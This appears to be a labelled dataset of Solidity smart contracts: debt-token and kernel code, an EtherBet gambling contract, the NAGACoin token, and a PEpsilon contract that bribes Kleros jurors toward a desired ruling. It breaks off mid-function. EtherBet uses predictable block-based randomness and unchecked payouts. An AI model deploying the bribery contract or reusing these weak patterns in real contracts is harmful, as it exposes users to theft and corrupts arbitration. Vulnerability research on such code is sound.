uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
pragma solidity 0.4.18;
contract DebtToken is ERC721Token, ERC165, Pausable, PermissionEvents {
using PermissionsLib for PermissionsLib.Permissions;
DebtRegistry public registry;
PermissionsLib.Permissions internal tokenCreationPermissions;
PermissionsLib.Permissions internal tokenURIPermissions;
string public constant CREATION_CONTEXT = "debt-token-creation";
string public constant URI_CONTEXT = "debt-token-uri";
function DebtToken(address _registry)
public
ERC721Token("DebtToken", "DDT")
{
registry = DebtRegistry(_registry);
}
function supportsInterface(bytes4 interfaceID)
external
view
returns (bool _isSupported)
{
return interfaceID == 0x80ac58cd;
}
function create(
address _version,
address _beneficiary,
address _debtor,
address _underwriter,
uint _underwriterRiskRating,
address _termsContract,
bytes32 _termsContractParameters,
uint _salt
)
public
whenNotPaused
returns (uint _tokenId)
{
require(tokenCreationPermissions.isAuthorized(msg.sender));
bytes32 entryHash = registry.insert(
_version,
_beneficiary,
_debtor,
_underwriter,
_underwriterRiskRating,
_termsContract,
_termsContractParameters,
_salt
);
super._mint(_beneficiary, uint(entryHash));
return uint(entryHash);
}
function addAuthorizedMintAgent(address _agent)
public
onlyOwner
{
tokenCreationPermissions.authorize(_agent, CREATION_CONTEXT);
}
function revokeMintAgentAuthorization(address _agent)
public
onlyOwner
{
tokenCreationPermissions.revokeAuthorization(_agent, CREATION_CONTEXT);
}
function getAuthorizedMintAgents()
public
view
returns (address[] _agents)
{
return tokenCreationPermissions.getAuthorizedAgents();
}
function addAuthorizedTokenURIAgent(address _agent)
public
onlyOwner
{
tokenURIPermissions.authorize(_agent, URI_CONTEXT);
}
function getAuthorizedTokenURIAgents()
public
view
returns (address[] _agents)
{
return tokenURIPermissions.getAuthorizedAgents();
}
function revokeTokenURIAuthorization(address _agent)
public
onlyOwner
{
tokenURIPermissions.revokeAuthorization(_agent, URI_CONTEXT);
}
function approve(address _to, uint _tokenId)
public
whenNotPaused
{
super.approve(_to, _tokenId);
}
function setApprovalForAll(address _to, bool _approved)
public
whenNotPaused
{
super.setApprovalForAll(_to, _approved);
}
function transfer(address _to, uint _tokenId)
public
{
safeTransferFrom(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint _tokenId)
public
whenNotPaused
{
_modifyBeneficiary(_tokenId, _to);
super.transferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint _tokenId)
public
whenNotPaused
{
_modifyBeneficiary(_tokenId, _to);
super.safeTransferFrom(_from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint _tokenId, bytes _data)
public
whenNotPaused
{
_modifyBeneficiary(_tokenId, _to);
super.safeTransferFrom(_from, _to, _tokenId, _data);
}
function setTokenURI(uint256 _tokenId, string _uri)
public
whenNotPaused
{
require(tokenURIPermissions.isAuthorized(msg.sender));
super._setTokenURI(_tokenId, _uri);
}
function _modifyBeneficiary(uint _tokenId, address _to)
internal
{
if (registry.getBeneficiary(bytes32(_tokenId)) != _to) {
registry.modifyBeneficiary(bytes32(_tokenId), _to);
}
}
}
pragma solidity 0.4.18;
interface TermsContract {
function registerTermStart(
bytes32 agreementId,
address debtor
) public returns (bool _success);
function registerRepayment(
bytes32 agreementId,
address payer,
address beneficiary,
uint256 unitsOfRepayment,
address tokenAddress
) public returns (bool _success);
function getExpectedRepaymentValue(
bytes32 agreementId,
uint256 timestamp
) public view returns (uint256);
function getValueRepaidToDate(
bytes32 agreementId
) public view returns (uint256);
function getTermEndTimestamp(
bytes32 _agreementId
) public view returns (uint);
}
pragma solidity 0.4.18;
contract TokenTransferProxy is Pausable, PermissionEvents {
using PermissionsLib for PermissionsLib.Permissions;
PermissionsLib.Permissions internal tokenTransferPermissions;
string public constant CONTEXT = "token-transfer-proxy";
function addAuthorizedTransferAgent(address _agent)
public
onlyOwner
{
tokenTransferPermissions.authorize(_agent, CONTEXT);
}
function revokeTransferAgentAuthorization(address _agent)
public
onlyOwner
{
tokenTransferPermissions.revokeAuthorization(_agent, CONTEXT);
}
function getAuthorizedTransferAgents()
public
view
returns (address[] authorizedAgents)
{
return tokenTransferPermissions.getAuthorizedAgents();
}
function transferFrom(
address _token,
address _from,
address _to,
uint _amount
)
public
returns (bool _success)
{
require(tokenTransferPermissions.isAuthorized(msg.sender));
return ERC20(_token).transferFrom(_from, _to, _amount);
}
}
pragma solidity 0.4.18;
contract DebtKernel is Pausable {
using SafeMath for uint;
enum Errors {
DEBT_ISSUED,
ORDER_EXPIRED,
ISSUANCE_CANCELLED,
ORDER_CANCELLED,
ORDER_INVALID_INSUFFICIENT_OR_EXCESSIVE_FEES,
ORDER_INVALID_INSUFFICIENT_PRINCIPAL,
ORDER_INVALID_UNSPECIFIED_FEE_RECIPIENT,
ORDER_INVALID_NON_CONSENSUAL,
CREDITOR_BALANCE_OR_ALLOWANCE_INSUFFICIENT
}
DebtToken public debtToken;
address public TOKEN_TRANSFER_PROXY;
bytes32 constant public NULL_ISSUANCE_HASH = bytes32(0);
uint16 constant public EXTERNAL_QUERY_GAS_LIMIT = 8000;
mapping (bytes32 => bool) public issuanceCancelled;
mapping (bytes32 => bool) public debtOrderCancelled;
event LogDebtOrderFilled(
bytes32 indexed _agreementId,
uint _principal,
address _principalToken,
address indexed _underwriter,
uint _underwriterFee,
address indexed _relayer,
uint _relayerFee
);
event LogIssuanceCancelled(
bytes32 indexed _agreementId,
address indexed _cancelledBy
);
event LogDebtOrderCancelled(
bytes32 indexed _debtOrderHash,
address indexed _cancelledBy
);
event LogError(
uint8 indexed _errorId,
bytes32 indexed _orderHash
);
struct Issuance {
address version;
address debtor;
address underwriter;
uint underwriterRiskRating;
address termsContract;
bytes32 termsContractParameters;
uint salt;
bytes32 agreementId;
}
struct DebtOrder {
Issuance issuance;
uint underwriterFee;
uint relayerFee;
uint principalAmount;
address principalToken;
uint creditorFee;
uint debtorFee;
address relayer;
uint expirationTimestampInSec;
bytes32 debtOrderHash;
}
function DebtKernel(address tokenTransferProxyAddress)
public
{
TOKEN_TRANSFER_PROXY = tokenTransferProxyAddress;
}
function setDebtToken(address debtTokenAddress)
public
onlyOwner
{
debtToken = DebtToken(debtTokenAddress);
}
function fillDebtOrder(
address creditor,
address[6] orderAddresses,
uint[8] orderValues,
bytes32[1] orderBytes32,
uint8[3] signaturesV,
bytes32[3] signaturesR,
bytes32[3] signaturesS
)
public
whenNotPaused
returns (bytes32 _agreementId)
{
DebtOrder memory debtOrder = getDebtOrder(orderAddresses, orderValues, orderBytes32);
if (!assertDebtOrderValidityInvariants(debtOrder) ||
!assertDebtOrderConsensualityInvariants(
debtOrder,
creditor,
signaturesV,
signaturesR,
signaturesS) ||
!assertExternalBalanceAndAllowanceInvariants(creditor, debtOrder)) {
return NULL_ISSUANCE_HASH;
}
issueDebtAgreement(creditor, debtOrder.issuance);
if (debtOrder.issuance.termsContract != address(0)) {
require(
TermsContract(debtOrder.issuance.termsContract)
.registerTermStart(
debtOrder.issuance.agreementId,
debtOrder.issuance.debtor
)
);
}
if (debtOrder.principalAmount > 0) {
require(transferTokensFrom(
debtOrder.principalToken,
creditor,
debtOrder.issuance.debtor,
debtOrder.principalAmount.sub(debtOrder.debtorFee)
));
}
if (debtOrder.underwriterFee > 0) {
require(transferTokensFrom(
debtOrder.principalToken,
creditor,
debtOrder.issuance.underwriter,
debtOrder.underwriterFee
));
}
if (debtOrder.relayerFee > 0) {
require(transferTokensFrom(
debtOrder.principalToken,
creditor,
debtOrder.relayer,
debtOrder.relayerFee
));
}
LogDebtOrderFilled(
debtOrder.issuance.agreementId,
debtOrder.principalAmount,
debtOrder.principalToken,
debtOrder.issuance.underwriter,
debtOrder.underwriterFee,
debtOrder.relayer,
debtOrder.relayerFee
);
return debtOrder.issuance.agreementId;
}
function cancelIssuance(
address version,
address debtor,
address termsContract,
bytes32 termsContractParameters,
address underwriter,
uint underwriterRiskRating,
uint salt
)
public
whenNotPaused
{
require(msg.sender == debtor || msg.sender == underwriter);
Issuance memory issuance = getIssuance(
version,
debtor,
underwriter,
termsContract,
underwriterRiskRating,
salt,
termsContractParameters
);
issuanceCancelled[issuance.agreementId] = true;
LogIssuanceCancelled(issuance.agreementId, msg.sender);
}
function cancelDebtOrder(
address[6] orderAddresses,
uint[8] orderValues,
bytes32[1] orderBytes32
)
public
whenNotPaused
{
DebtOrder memory debtOrder = getDebtOrder(orderAddresses, orderValues, orderBytes32);
require(msg.sender == debtOrder.issuance.debtor);
debtOrderCancelled[debtOrder.debtOrderHash] = true;
LogDebtOrderCancelled(debtOrder.debtOrderHash, msg.sender);
}
function issueDebtAgreement(address beneficiary, Issuance issuance)
internal
returns (bytes32 _agreementId)
{
uint tokenId = debtToken.create(
issuance.version,
beneficiary,
issuance.debtor,
issuance.underwriter,
issuance.underwriterRiskRating,
issuance.termsContract,
issuance.termsContractParameters,
issuance.salt
);
assert(tokenId == uint(issuance.agreementId));
return issuance.agreementId;
}
function assertDebtOrderConsensualityInvariants(
DebtOrder debtOrder,
address creditor,
uint8[3] signaturesV,
bytes32[3] signaturesR,
bytes32[3] signaturesS
)
internal
returns (bool _orderIsConsensual)
{
if (msg.sender != debtOrder.issuance.debtor) {
if (!isValidSignature(
debtOrder.issuance.debtor,
debtOrder.debtOrderHash,
signaturesV[0],
signaturesR[0],
signaturesS[0]
)) {
LogError(uint8(Errors.ORDER_INVALID_NON_CONSENSUAL), debtOrder.debtOrderHash);
return false;
}
}
if (msg.sender != creditor) {
if (!isValidSignature(
creditor,
debtOrder.debtOrderHash,
signaturesV[1],
signaturesR[1],
signaturesS[1]
)) {
LogError(uint8(Errors.ORDER_INVALID_NON_CONSENSUAL), debtOrder.debtOrderHash);
return false;
}
}
if (debtOrder.issuance.underwriter != address(0) &&
msg.sender != debtOrder.issuance.underwriter) {
if (!isValidSignature(
debtOrder.issuance.underwriter,
getUnderwriterMessageHash(debtOrder),
signaturesV[2],
signaturesR[2],
signaturesS[2]
)) {
LogError(uint8(Errors.ORDER_INVALID_NON_CONSENSUAL), debtOrder.debtOrderHash);
return false;
}
}
return true;
}
function assertDebtOrderValidityInvariants(DebtOrder debtOrder)
internal
returns (bool _orderIsValid)
{
uint totalFees = debtOrder.creditorFee.add(debtOrder.debtorFee);
if (totalFees != debtOrder.relayerFee.add(debtOrder.underwriterFee)) {
LogError(uint8(Errors.ORDER_INVALID_INSUFFICIENT_OR_EXCESSIVE_FEES), debtOrder.debtOrderHash);
return false;
}
if (debtOrder.principalAmount < debtOrder.debtorFee) {
LogError(uint8(Errors.ORDER_INVALID_INSUFFICIENT_PRINCIPAL), debtOrder.debtOrderHash);
return false;
}
if ((debtOrder.issuance.underwriter == address(0) && debtOrder.underwriterFee > 0) ||
(debtOrder.relayer == address(0) && totalFees != debtOrder.underwriterFee)) {
LogError(uint8(Errors.ORDER_INVALID_UNSPECIFIED_FEE_RECIPIENT), debtOrder.debtOrderHash);
return false;
}
if (debtOrder.expirationTimestampInSec < block.timestamp) {
LogError(uint8(Errors.ORDER_EXPIRED), debtOrder.debtOrderHash);
return false;
}
if (debtToken.exists(uint(debtOrder.issuance.agreementId))) {
LogError(uint8(Errors.DEBT_ISSUED), debtOrder.debtOrderHash);
return false;
}
if (issuanceCancelled[debtOrder.issuance.agreementId]) {
LogError(uint8(Errors.ISSUANCE_CANCELLED), debtOrder.debtOrderHash);
return false;
}
if (debtOrderCancelled[debtOrder.debtOrderHash]) {
LogError(uint8(Errors.ORDER_CANCELLED), debtOrder.debtOrderHash);
return false;
}
return true;
}
function assertExternalBalanceAndAllowanceInvariants(
address creditor,
DebtOrder debtOrder
)
internal
returns (bool _isBalanceAndAllowanceSufficient)
{
uint totalCreditorPayment = debtOrder.principalAmount.add(debtOrder.creditorFee);
if (getBalance(debtOrder.principalToken, creditor) < totalCreditorPayment ||
getAllowance(debtOrder.principalToken, creditor) < totalCreditorPayment) {
LogError(uint8(Errors.CREDITOR_BALANCE_OR_ALLOWANCE_INSUFFICIENT), debtOrder.debtOrderHash);
return false;
}
return true;
}
function transferTokensFrom(
address token,
address from,
address to,
uint amount
)
internal
returns (bool success)
{
return TokenTransferProxy(TOKEN_TRANSFER_PROXY).transferFrom(
token,
from,
to,
amount
);
}
function getIssuance(
address version,
address debtor,
address underwriter,
address termsContract,
uint underwriterRiskRating,
uint salt,
bytes32 termsContractParameters
)
internal
pure
returns (Issuance _issuance)
{
Issuance memory issuance = Issuance({
version: version,
debtor: debtor,
underwriter: underwriter,
termsContract: termsContract,
underwriterRiskRating: underwriterRiskRating,
salt: salt,
termsContractParameters: termsContractParameters,
agreementId: getAgreementId(
version,
debtor,
underwriter,
termsContract,
underwriterRiskRating,
salt,
termsContractParameters
)
});
return issuance;
}
function getDebtOrder(address[6] orderAddresses, uint[8] orderValues, bytes32[1] orderBytes32)
internal
view
returns (DebtOrder _debtOrder)
{
DebtOrder memory debtOrder = DebtOrder({
issuance: getIssuance(
orderAddresses[0],
orderAddresses[1],
orderAddresses[2],
orderAddresses[3],
orderValues[0],
orderValues[1],
orderBytes32[0]
),
principalToken: orderAddresses[4],
relayer: orderAddresses[5],
principalAmount: orderValues[2],
underwriterFee: orderValues[3],
relayerFee: orderValues[4],
creditorFee: orderValues[5],
debtorFee: orderValues[6],
expirationTimestampInSec: orderValues[7],
debtOrderHash: bytes32(0)
});
debtOrder.debtOrderHash = getDebtOrderHash(debtOrder);
return debtOrder;
}
function getAgreementId(
address version,
address debtor,
address underwriter,
address termsContract,
uint underwriterRiskRating,
uint salt,
bytes32 termsContractParameters
)
internal
pure
returns (bytes32 _agreementId)
{
return keccak256(
version,
debtor,
underwriter,
underwriterRiskRating,
termsContract,
termsContractParameters,
salt
);
}
function getUnderwriterMessageHash(DebtOrder debtOrder)
internal
view
returns (bytes32 _underwriterMessageHash)
{
return keccak256(
address(this),
debtOrder.issuance.agreementId,
debtOrder.underwriterFee,
debtOrder.principalAmount,
debtOrder.principalToken,
debtOrder.expirationTimestampInSec
);
}
function getDebtOrderHash(DebtOrder debtOrder)
internal
view
returns (bytes32 _debtorMessageHash)
{
return keccak256(
address(this),
debtOrder.issuance.agreementId,
debtOrder.underwriterFee,
debtOrder.principalAmount,
debtOrder.principalToken,
debtOrder.debtorFee,
debtOrder.creditorFee,
debtOrder.relayer,
debtOrder.relayerFee,
debtOrder.expirationTimestampInSec
);
}
function isValidSignature(
address signer,
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
internal
pure
returns (bool _valid)
{
return signer == ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
);
}
function getBalance(
address token,
address owner
)
internal
view
returns (uint _balance)
{
return ERC20(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner);
}
function getAllowance(
address token,
address owner
)
internal
view
returns (uint _allowance)
{
return ERC20(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY);
}
} | 1 | 3,108 |
pragma solidity ^0.4.24;
contract EtherBet{
address gameOwner = address(0);
bool locked = false;
function bet() payable
{
if ((random()%2==1) && (msg.value == 1 ether) && (!locked))
{
if (!msg.sender.call.value(2 ether)())
throw;
}
}
function lock()
{
if (gameOwner==msg.sender)
{
locked = true;
}
}
function unlock()
{
if (gameOwner==msg.sender)
{
locked = false;
}
}
function own(address owner)
{
if ((gameOwner == address(0)) || (gameOwner == msg.sender))
{
gameOwner = owner;
}
}
function releaseFunds(uint amount)
{
if (gameOwner==msg.sender)
{
if (!msg.sender.call.value( amount * (1 ether))())
throw;
}
}
function random() view returns (uint8) {
return uint8(uint256(keccak256(block.timestamp, block.difficulty))%256);
}
function () public payable
{
bet();
}
} | 1 | 4,548 |
pragma solidity 0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoEther is Ownable {
function HasNoEther() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract NAGACoin is MintableToken, NoOwner {
string public constant name = "NAGA Coin";
string public constant symbol = "NGC";
uint8 public constant decimals = 18;
mapping (address => uint256) public releaseTimes;
function mintWithTimeLock(address _to, uint256 _amount, uint256 _releaseTime) public returns (bool) {
if (_releaseTime > releaseTimes[_to]) {
releaseTimes[_to] = _releaseTime;
}
return mint(_to, _amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!timeLocked(msg.sender));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!timeLocked(_from));
return super.transferFrom(_from, _to, _value);
}
function timeLocked(address _spender) public returns (bool) {
if (releaseTimes[_spender] == 0) {
return false;
}
if (releaseTimes[_spender] <= block.timestamp) {
delete releaseTimes[_spender];
return false;
}
return true;
}
} | 1 | 3,723 |
contract PEpsilon {
Pinakion public pinakion;
Kleros public court;
uint public balance;
uint public disputeID;
uint public desiredOutcome;
uint public epsilon;
bool public settled;
uint public maxAppeals;
mapping (address => uint) public withdraw;
address public attacker;
uint public remainingWithdraw;
modifier onlyBy(address _account) {require(msg.sender == _account); _;}
event AmountShift(uint val, uint epsilon ,address juror);
event Log(uint val, address addr, string message);
constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public {
pinakion = _pinakion;
court = _kleros;
disputeID = _disputeID;
desiredOutcome = _desiredOutcome;
epsilon = _epsilon;
attacker = msg.sender;
maxAppeals = _maxAppeals;
}
function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) {
require(pinakion.transferFrom(_from, this, _amount));
balance += _amount;
}
function withdrawJuror() {
withdrawSelect(msg.sender);
}
function withdrawSelect(address _juror) {
uint amount = withdraw[_juror];
withdraw[_juror] = 0;
balance = sub(balance, amount);
remainingWithdraw = sub(remainingWithdraw, amount);
require(pinakion.transfer(_juror, amount));
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function withdrawAttacker(){
require(settled);
if (balance > remainingWithdraw) {
uint amount = balance - remainingWithdraw;
balance = remainingWithdraw;
require(pinakion.transfer(attacker, amount));
}
}
function settle() public {
require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved);
require(!settled);
settled = true;
var (, , appeals, choices, , , ,) = court.disputes(disputeID);
if (court.currentRuling(disputeID) != desiredOutcome){
uint amountShift = court.getStakePerDraw();
uint winningChoice = court.getWinningChoice(disputeID, appeals);
for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){
if (winningChoice != 0){
uint votesLen = 0;
for (uint c = 0; c <= choices; c++) {
votesLen += court.getVoteCount(disputeID, i, c);
}
emit Log(amountShift, 0x0 ,"stakePerDraw");
emit Log(votesLen, 0x0, "votesLen");
uint totalToRedistribute = 0;
uint nbCoherent = 0;
for (uint j=0; j < votesLen; j++){
uint voteRuling = court.getVoteRuling(disputeID, i, j);
address voteAccount = court.getVoteAccount(disputeID, i, j);
emit Log(voteRuling, voteAccount, "voted");
if (voteRuling != winningChoice){
totalToRedistribute += amountShift;
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += amountShift + epsilon;
remainingWithdraw += amountShift + epsilon;
emit AmountShift(amountShift, epsilon, voteAccount);
}
} else {
nbCoherent++;
}
}
uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1);
for (j = 0; j < votesLen; j++){
voteRuling = court.getVoteRuling(disputeID, i, j);
voteAccount = court.getVoteAccount(disputeID, i, j);
if (voteRuling == desiredOutcome){
withdraw[voteAccount] += toRedistribute;
remainingWithdraw += toRedistribute;
emit AmountShift(toRedistribute, 0, voteAccount);
}
}
}
}
}
}
}
pragma solidity ^0.4.24;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract Pinakion is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
Pinakion public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function Pinakion(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = Pinakion(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount
) internal {
if (_amount == 0) {
Transfer(_from, _to, _amount);
return;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
Pinakion cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
